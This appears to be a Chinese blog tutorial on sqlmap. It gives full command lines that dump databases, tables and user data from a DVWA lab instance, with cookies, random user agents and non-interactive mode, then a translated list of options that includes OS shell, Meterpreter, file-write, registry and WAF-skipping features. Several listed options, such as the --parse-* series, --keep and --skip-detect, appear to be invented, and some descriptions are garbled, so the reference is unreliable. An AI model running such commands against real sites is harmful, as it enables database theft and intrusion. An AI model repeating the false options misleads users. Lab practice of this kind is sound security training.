跳至正文

sqlmap注入常规使用方法与参数

--dump

sqlmap -u 'http://192.168.15.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch --dump --threads=10
  • 注意,这里url带引号;有cookie也带引号;随机请求头;自动选择,不交互;解密所有数据库内容;线程为10

--tables

blog%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023 08 03%20155322

  • 容易使数据库宕机
sqlmap -u 'http://192.168.15.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch --dbs --threads=10
sqlmap -u 'http://192.168.15.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch -D dvwa --tables --threads=10
sqlmap -u 'http://192.168.15.109/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch -D dvwa -T users --columns --threads=10
  • 依次查看数据库名,表名,列名数据

blog%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023 08 03%20160523

post请求情况

sqlmap --url 'http://192.168.15.109/dvwa/vulnerabilities/sqli/' --data="id=1&Submit=Submit" --cookie='security=low; security=low; PHPSESSID=am3nf65kqivroagc73cjh9j91b' --random-agent --batch -D dvwa -T users --columns --threads=10
  • 带post参数的,也可以使用-r参数将请求头保存到txt文件,要去掉url,data参数

换页面参数输入

sqlmap --url "http://192.168.15.109/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --cookie='security=high; PHPSESSID=2g3qf5ouh7m8k6okpp91e7autj' --random-agent --batch --dump --threads=10 --second-url='http://192.168.15.109/dvwa/vulnerabilities/sqli/'

参数

目标:
必须提供以下选项之一来定义目标(们)

-u URL, --url=URL   目标URL(例如 "http://www.site.com/vuln.php?id=1")
-d DIRECT           直接数据库连接的连接字符串
-l LOGFILE          从Burp或WebScarab代理日志文件中解析目标(们)
-m BULKFILE         在文本文件中扫描多个目标
-r REQUESTFILE      从文件中加载HTTP请求
-g GOOGLEDORK       将Google dork结果处理为目标URL
-c CONFIGFILE       从配置INI文件加载选项

请求:
这些选项可用于指定如何连接到目标URL

-A AGENT, --user..  HTTP User-Agent头值
-H HEADER, --hea..  额外的头部(例如 "X-Forwarded-For: 127.0.0.1")
--method=METHOD     强制使用给定的HTTP方法(例如 PUT)
--data=DATA         要通过POST发送的数据字符串(例如 "id=1")
--param-del=PARA..  用于拆分参数值的字符(例如 &)
--cookie=COOKIE     HTTP Cookie头值(例如 "PHPSESSID=a8d127e..")
--cookie-del=COO..  用于拆分Cookie值的字符(例如 ;)
--live-cookies=L..  用于加载最新值的活动Cookie文件
--load-cookies=L..  从Netscape/wget格式的文件中加载Cookie
--drop-set-cookie   忽略响应中的Set-Cookie头
--mobile            通过HTTP User-Agent头值模拟智能手机
--random-agent      使用随机选择的HTTP User-Agent头值
--host=HOST         HTTP Host头值
--referer=REFERER   HTTP Referer头值
--headers=HEADERS   额外的头部(例如 "Accept-Language: fr\nETag: 123")
--auth-type=AUTH..  HTTP身份验证类型(Basic,Digest,Bearer等)
--auth-cred=AUTH..  HTTP身份验证凭据(用户名:密码)
--auth-file=AUTH..  HTTP身份验证PEM证书/私钥文件
--abort-code=ABO..  终止(有问题的)HTTP错误代码(例如 401)
--ignore-code=IG..  忽略(有问题的)HTTP错误代码(例如 401)
--ignore-proxy      忽略系统默认代理设置
--ignore-redirects  忽略重定向尝试
--ignore-timeouts   忽略连接超时
--proxy=PROXY       使用代理连接到目标URL
--proxy-cred=PRO..  代理身份验证凭据(用户名:密码)
--proxy-file=PRO..  从文件中加载代理列表
--proxy-freq=PRO..  在给定列表中更改代理之间的请求
--tor               使用Tor匿名网络
--tor-port=TORPORT  设置Tor代理端口(默认为默认值)
--tor-type=TORTYPE  设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认))
--check-tor         检查Tor是否正确使用
--delay=DELAY       每个HTTP请求之间的延迟(以秒为单位)
--timeout=TIMEOUT   连接超时前等待的秒数(默认为30秒)
--retries=RETRIES   连接超时时的重试次数(默认为3次)
--retry-on=RETRYON  根据内容(例如“drop”)在正则表达式匹配时重试请求
--randomize=RPARAM  随机更改给定参数的值
--safe-url=SAFEURL  在测试期间经常访问的URL地址
--safe-post=SAFE..  发送到安全URL的POST数据
--safe-req=SAFER..  从文件中加载安全的HTTP请求
--safe-freq=SAFE..  在访问安全URL之间的定期请求
--skip-urlencode    跳过对有效负载数据进行URL编码
--csrf-token=CSR..  用于保存反CSRF令牌的参数
--csrf-url=CSRFURL  用于提取反CSRF令牌的URL地址
--csrf-method=CS..  在访问反CSRF令牌页面时使用的HTTP方法
--csrf-data=CSRF..  在访问反CSRF令牌页面时发送的POST数据
--csrf-retries=C..  反CSRF令牌检索的重试次数(默认为0次)
--force-ssl         强制使用SSL/HTTPS
--chunked           使用HTTP块传输编码(POST)请求
--hpp               使用HTTP参数污染方法
--eval=EVALCODE     在请求之前评估提供的Python代码(例如
                    "import hashlib;id2=hashlib.md5(id).hexdigest()")

优化:
这些选项可用于优化sqlmap的性能

-o                  打开所有优化开关
--predict-output    预测常见查询的输出
--keep-alive        使用持久的HTTP(s)连接
--null-connection   检索页面长度而不包含实际HTTP响应主体
--threads=THREADS   最大并发HTTP(s)请求数(默认为1)

注入:
这些选项可用于指定要测试的参数、提供自定义的注入载荷和可选的篡改脚本

-p TESTPARAMETER    要测试的参数(们)
--skip=SKIP         跳过对给定参数的测试
--skip-static       跳过不显示为动态的参数的测试
--param-exclude=..  用于从测试中排除参数的正则表达式(例如"ses")
--param-filter=P..  按位置选择可测试的参数(例如"POST")
--dbms=DBMS         强制后端DBMS使用提供的值
--dbms-cred=DBMS..  DBMS身份验证凭据(用户名:密码)
--os=OS             强制后端DBMS操作系统使用提供的值
--invalid-bignum    使用大数值使值无效
--invalid-logical   使用逻辑操作使值无效
--invalid-string    使用随机字符串使值无效
--no-cast           关闭有效负载转换机制
--no-escape         关闭字符串转义机制
--prefix=PREFIX     注入负载前缀字符串
--suffix=SUFFIX     注入负载后缀字符串
--tamper=TAMPER     用于篡改注入数据的脚本(们)

检测:
这些选项可用于自定义检测阶段

--level=LEVEL       要执行的测试级别(1-5,默认为1)
--risk=RISK         要执行的测试风险(1-3,默认为1)
--string=STRING     查询评估为True时匹配的字符串
--not-string=NOT..  查询评估为False时匹配的字符串
--regexp=REGEXP     查询评估为True时匹配的正则表达式
--code=CODE         查询评估为True时匹配的HTTP代码
--smart             仅在存在正式启发式情况下执行全面测试
--text-only         仅基于文本内容比较页面
--titles            仅基于页面标题比较页面

技术:
这些选项可用于调整特定SQL注入技术的测试

--technique=TECH..  要使用的SQL注入技术(默认为"BEUSTQ")
--time-sec=TIMESEC  延迟DBMS响应的秒数(默认为5秒)
--union-cols=UCOLS  用于测试UNION查询SQL注入的列范围
--union-char=UCHAR  用于暴力破解列数的字符
--union-from=UFROM  用于UNION查询SQL注入的FROM部分的表
--dns-domain=DNS..  用于DNS泄露攻击的域名
--second-url=SEC..  在搜索第二次响应时搜索的结果页面URL
--second-req=SEC..  从文件中加载第二次HTTP请求

指纹识别:

-f, --fingerprint   执行全面的DBMS版本指纹识别

枚举:
这些选项可用于列举后端数据库管理系统中的信息、结构和表中的数据

-a, --all           检索所有内容
-b, --banner        检索DBMS标识
--current-user      检索DBMS当前用户
--current-db        检索DBMS当前数据库
--hostname          检索DBMS服务器主机名
--is-dba            检测DBMS当前用户是否为DBA
--users             列举DBMS用户
--passwords         列举DBMS用户密码哈希
--privileges        列举DBMS用户权限
--roles             列举DBMS用户角色
--dbs               列举DBMS数据库
--tables            列举DBMS数据库表
--columns           列举DBMS数据库表列
--schema            列举DBMS模式
--count             检索表(们)的条目数
--dump              转储DBMS数据库表条目
--dump-all          转储所有DBMS数据库表条目
--search            搜索列(们)、表(们)和/或数据库名称
--comments          在枚举过程中检查DBMS注释
--statements        检索在DBMS上运行的SQL语句
-D DB               要枚举的DBMS数据库
-T TBL              要枚举的DBMS数据库表(们)
-C COL              要枚举的DBMS数据库表列(们)
-X EXCLUDE          要在枚举中排除的DBMS数据库标识(们)
-U USER             要枚举的DBMS用户
--exclude-sysdbs    在枚举表时排除DBMS系统数据库
--pivot-column=P..  枢轴列名
--where=DUMPWHERE   在转储表时使用WHERE条件
--start=LIMITSTART  检索的第一个转储表条目
--stop=LIMITSTOP    检索的最后一个转储表条目
--first=FIRSTCHAR   要检索的第一个查询输出单词字符
--last=LASTCHAR     要检索的最后一个查询输出单词字符
--sql-query=SQLQ..  要执行的SQL语句
--sql-shell         提示进行交互式SQL shell
--sql-file=SQLFILE  从给定文件(们)执行SQL语句

暴力破解:
这些选项可用于运行暴力破解检查

--common-tables     检查常见表的存在
--common-columns    检查常见列的存在
--common-files      检查常见文件的存在

用户定义的函数注入:
这些选项可用于创建自定义用户定义的函数

--udf-inject        注入自定义用户定义的函数
--shared-lib=SHLIB  共享库的本地路径

文件系统访问:
这些选项可用于访问后端数据库管理系统的文件系统

--file-read=FILE..  从后端DBMS文件系统中读取文件
--file-write=FIL..  在后端DBMS文件系统上写入本地文件
--file-dest=FILE..  后端DBMS绝对文件路径来写入

操作系统访问:
这些选项可用于访问后端数据库管理系统的操作系统

--os-cmd=OSCMD      执行操作系统命令
--os-shell          提示进行交互式操作系统 shell
--os-pwn            提示进行OOB shell、Meterpreter或VNC
--os-smbrelay       单击提示进行OOB shell、Meterpreter或VNC
--os-bof            存储过程缓冲区溢出利用
--priv-esc          数据库进程用户权限提升
--msf-path=MSFPATH  Metasploit Framework安装的本地路径
--tmp-path=TMPPATH  远程临时文件目录的绝对路径

Windows注册表访问:
这些选项可用于访问后端数据库管理系统的Windows注册表

--reg-read          读取Windows注册表键值
--reg-add           写入Windows注册表键值数据
--reg-del           删除Windows注册表键值
--reg-key=REGKEY    Windows注册表键
--reg-value=REGVAL  Windows注册表键值
--reg-data=REGDATA  Windows注册表键值数据
--reg-type=REGTYPE  Windows注册表键值类型

常规:
这些选项可用于设置一些一般的工作参数

-s SESSIONFILE      从存储的(.sqlite)文件中加载会话
-t TRAFFICFILE      将所有HTTP流量记录到文本文件中
--abort-on-empty    在空结果时中止数据检索
--answers=ANSWERS   设置预定义答案(例如 "quit=N,follow=N")
--base64=BASE64P..  包含Base64编码数据的参数(们)
--base64-safe       使用URL和文件名安全的Base64字符集(RFC 4648)
--batch             从不询问用户输入,使用默认行为
--binary-fields=..  具有二进制值的结果字段(例如 "digest")
--check-internet    在评估目标之前检查Internet连接
--cleanup           从sqlmap特定UDF和表中安全删除内容
--crawl=CRAWLDEPTH  从目标URL开始爬行网站
--crawl-exclude=..  用于排除爬行页面的正则表达式(例如 "logout")
--csv-del=CSVDEL    CSV输出中使用的分隔字符(默认为“,”)
--charset=CHARSET   盲SQL注入字符集(例如"0123456789abcdef")
--dump-file=DUMP..  将转储的数据存储到自定义文件中
--dump-format=DU..  转储数据的格式(CSV(默认),HTML或SQLITE)
--encoding=ENCOD..  用于数据检索的字符编码(例如GBK)
--eta               对于每个输出显示到达的预计时间
--flush-session     刷新当前目标的会话文件
--forms             解析和测试目标URL上的表单
--fresh-queries     忽略从目标URL导入的数据库提取结果
--har=HARFILE       从文件中加载HTTP档案文件
--hex=HEXPAYLOAD    包含十六进制编码数据的参数(们)
--keep               继续进行后续操作
--parse-errors      解析并显示发生的SQL错误
--parse-columns     解析并显示在错误页面中找到的列数
--parse-string=..   解析并显示在页面中找到的字符串
--parse-status      解析并显示页面的HTTP状态代码
--parse-charset     解析并显示页面的字符集
--parse-html-enc..  解析并显示页面的HTML编码
--parse-server      解析并显示页面的服务器编码
--parse-os          解析并显示页面的操作系统
--parse-dbms        解析并显示页面的DBMS
--parse-privileges  解析并显示在错误页面中找到的特权
--parse-current-..  解析并显示页面的DBMS当前数据库
--parse-form        解析并显示页面上找到的表单
--purge-output      删除所有或指定输出文件内容
--skip-waf          跳过WAF(Web应用程序防火墙)/IPS(入侵防护系统)
--skip-detect       不检测DBMS版本
--smart             仅在存在正式启发式情况下执行全面测试
--sqlmap-shell      提示进行交互式sqlmap shell
--wizard            简化的wiz..
标签: